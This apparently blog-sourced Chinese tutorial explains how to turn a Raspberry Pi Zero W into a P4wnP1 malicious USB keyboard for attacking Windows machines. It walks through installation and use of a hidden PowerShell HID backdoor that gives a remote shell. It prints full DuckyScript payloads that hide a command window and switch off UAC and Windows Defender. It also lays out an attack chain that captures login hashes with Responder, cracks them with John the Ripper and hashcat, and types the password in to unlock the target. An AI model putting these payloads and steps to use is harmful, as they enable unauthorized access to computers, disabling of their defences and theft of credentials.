P4wnP1为一款基于树莓派Zero W的USB HID设备模拟工具。
HID攻击
USB HID攻击技术是一种利用USB接口伪造用户击键行为的攻击方式,通过恶意USB HID设备连接到主机后发送伪造的按键命令,篡改系统设置、运行恶意功能。
在树莓派Raspberry Pi Zero W设备上,借助Raspberry Pi Zero W小巧但功能丰富的特点,可构建一个高度可定制的攻击平台。其功能如下:
- 内置小型操作系统,在模拟成USB HID设备的同时,还能利用WiFi/蓝牙连接到互联网,通过HID隐蔽通道与攻击者通信。
- 内置多个脚本,可自定义,可按需进行触发,模拟键鼠的按键行为。
- 支持交互式登录,登录方式包括SSH、串口、HDMI显示。
- 结合系统漏洞,实施漏洞利用,破解系统密码。
项目地址:https://github.com/mame82/P4wnP1
raspberry pi zero w接口
初始配置
SD卡烧录
官网下载安装镜像烧录工具:https://www.raspberrypi.com/software/
下载raspbian stretch镜像:https://downloads.raspberrypi.org/raspbian/images/raspbian-2019-04-09/
SD卡插入读卡器,打开烧录器,选择”使用自定义镜像”:2019-04-08-raspbian-stretch.img
,和对应的SD卡,点击烧录即可。
启动配置
烧录完成后,SD卡插回树莓派,连接好hdmi接口、键鼠和电源,开机进入设置界面。
设置地区和语言:
设置用户密码,默认用户为pi:
连接无线网络,选择当前能连接到的wifi:
另外,网络配置也可以在SD卡的文件中写入默认配置:
- 在sd卡的boot分区根目录下新建一个名为ssh的空文件
- 在sd卡的rootfs分区根目录etc/network目录下的interfaces文件添加下面内容:
auto lo
iface lo inet loopback
iface eth0 inet manual
auto wlan0
allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-ssid "WIFI_NAME"
wpa-key "WIFI_PASSWD"
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
- 修改 /etc/wpa_supplicant/wpa_supplicant.conf 文件
country=GB
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network={
ssid="WIFI_NAME"
psk="WIFI_PASSWD"
}
修改/etc/rc.local文件设置开机启动ssh服务,在exit 0前添加命令su pi -c “/etc/init.d/ssh start”
连接到网络后,根据系统提示进行系统更新:
更新完后重启树莓派,配置完成。
可以用ssh连接到树莓派了:
P4wnP1
配置安装
下载安装P4wnP1:
git clone --recursive https://github.com/mame82/P4wnP1
cd P4wnP1
./install.sh
安装时会弹出配置窗口,配置以非root用户抓包:
如出现错误:
可以不用管,这条命令只在jessie系统下面需要:
安装完成:
装好后配置./P4wnP1/Setup.cfg文件,选择目标机的输入法语言(也可以进P4wnP1 shell再设置),选择需要的payload。
重启raspberry就能连接上P4wnP1的wifi了。
连接上wifi后使用ssh登录shell,用户密码是刚才自行配置的密码。
hid_backdoor后门负载
HID后门攻击方式:
- 选择hid_backdoor.txt载荷
- 将树莓派连接到Windows目标
- 攻击机连接到P4wnP1生成的WiFi,ssh登录控制端
- 进入P4wnP1 shell,输入
SetKeyboardLayout
命令,设置目标键盘布局 - P4wnP1 shell上运行
SendKeys
或FireDuckyScript
注入键盘输入 - 运行命令
FireStage1
,建立隐蔽通道的HID后门 - 目标回连成功后,输入
shell
命令,进入隐蔽通道创建的远程shell
下面详细看下操作步骤: 选择hid_backdoor.txt的payload,连接上ssh后就可以进入P4wnP1的shell界面:
输入help可以看到P4wnP1 shell能用的命令,下面是几个基本命令的说明:
- FireStage1 #启动powershell,并快速隐藏powershell界面然后开启一个木马在目标机和raspberry间建立一个双工连接
- shell #连接上之后可以打开目标机的cmd
- GetKeyboardLanguage #显示当前的键盘语言
- SetKeyboardLanguage #根据目标的语言设置当前键盘语言
- SendKeys #发送字符串输入到目标
- SendDuckyScript #发送一个橡皮鸭脚本
- SendMouseScript #发送一个鼠标脚本
进入P4wnP1 shell,输入SetKeyboardLanguage
命令,设置目标键盘布局,测试目标是us键盘布局,选择15:
运行SendKeys
可以向目标发送指定的字符串,但仅限字符串,无法发送控制键。想要发送控制键就需要使用FireDuckyScript
命令,向目标发送一个橡皮鸭脚本,如下例,发送一个Alt+F4的控制键:
DuckyScript脚本
下面是橡皮鸭脚本的基本命令说明:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript 使用 FireDuckyScript
需要在setup.cfg中设置USE_HID为true 将写好的脚本放到./P4wnP1/DuckyScripts目录下,就能在 FireDuckyScript
命令中调用它们了。
下面是几个简单的橡皮鸭脚本例子:
- 打开cmd窗口并快速隐藏到边框下:
GUI r
DELAY 100
ALT SPACE
STRING M
RIGHTARROW
REPEAT 500
DELAY 200
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 250
ENTER
DELAY 100
ALT SPACE
STRING M
DOWNARROW
REPEAT 1000
DELAY 50
ALT SPACE
STRING M
RIGHTARROW
REPEAT 1000
ENTER
- 切换输入法:
ALT-SHIFT
- 关闭windows defender:
DELAY 2000
REM first disable UAC
CONTROL ESCAPE
DELAY 200
STRING uac
DELAY 200
ENTER
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
TAB
DELAY 200
ENTER
DELAY 200
LEFT
DELAY 200
ENTER
DELAY 200
REM it's time to disable the fuckin' defender....
CONTROL ESCAPE
DELAY 200
STRING virus pro
DELAY 200
ENTER
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
ENTER
DELAY 200
SPACE
DELAY 200
TAB
DELAY 200
SPACE
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
SPACE
DELAY 2000
REM first enable the fuckin' defender....
CONTROL ESCAPE
DELAY 200
STRING virus pro
DELAY 200
ENTER
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
ENTER
DELAY 200
SPACE
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
SPACE
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
SPACE
DELAY 200
REM alt f4 close the window
ALT F4
REM it's time to enable UAC
CONTROL ESCAPE
DELAY 200
STRING uac
DELAY 200
ENTER
DELAY 200
TAB
DELAY 200
UPARROW
DELAY 200
UPARROW
DELAY 200
TAB
DELAY 200
ENTER
MouseScript脚本
除了发送键盘脚本之外还 可以用脚本模拟鼠标移动点击。 使用SendMouseScript
命令,即可运行./P4wnP1/MouseScript目录下的脚本。 脚本语法说明见下: https://p4wnp1.readthedocs.io/en/latest/OS-independent-features-Subfolder/OS-independent-features-Home/
隐蔽通道HID后门建立
输入命令FireStage1
即可通过PowerShell启动一个隐蔽通道的shell后门:
输入shell
命令,可启动一个cmd命令行:
破解win10登录密码并自动登录
针对win10 v1709及之前的版本可以使用P4wnP1破解登录密码。 选择Win10_LockPicker.txt的payload,根据目标机的输入法语言更改 Win10_LockPicker.txt中的lang设置。
攻击链
- USB网口启动DHCP,配置目标机
- 将整个IPv4地址空间的静态路由部署到目标机
- 将远程主机的流量重定向到自身
- 使用Responder.py提取来自目标机的各种协议请求,并强制进行身份验证并尝试截取用于验证的哈希
- 接入目标机后如果led灯按顺序闪烁3次,说明它已经抓取到了一个哈希,可以在/home/pi/P4wnP1/collect文件夹下找到它抓取的哈希,并可以手动进行离线破解
- 或者继续交给P4wnP1,它会把哈希值传给John the Ripper(/home/pi/P4wnP1/john)来破解哈希密码
- 如果成功破解了密码P4wnP1就能模拟键盘输入密码进入系统
手动破解hash并进入系统
e.g.
john -w:password.lst pass.txt
password.lst为密码字典,pass.txt为需要破解的hash文件
生成更完整的字典:
john --stdout --wordlist=password.lst --rules > password2.lst
john生成的规则可以在john.conf中定义。
hashcat 下载最新版的hashcat
hashcat内置字符集:
将抓取的哈希保存到txt中,进入cmd中运行:hashcat64.exe -m 5600 hash1.txt -a 3 -1 ?l?d ?1?1?1?1?1
可以看到跑出来了用户密码:
之后可以更改为hid_backdoor.txt进入P4wnP1 shell来发送密码进入系统,或者使用下面这个橡皮鸭脚本:
ENTER
DELAY 200
STRING 23333
DELAY 200
ENTER
近期评论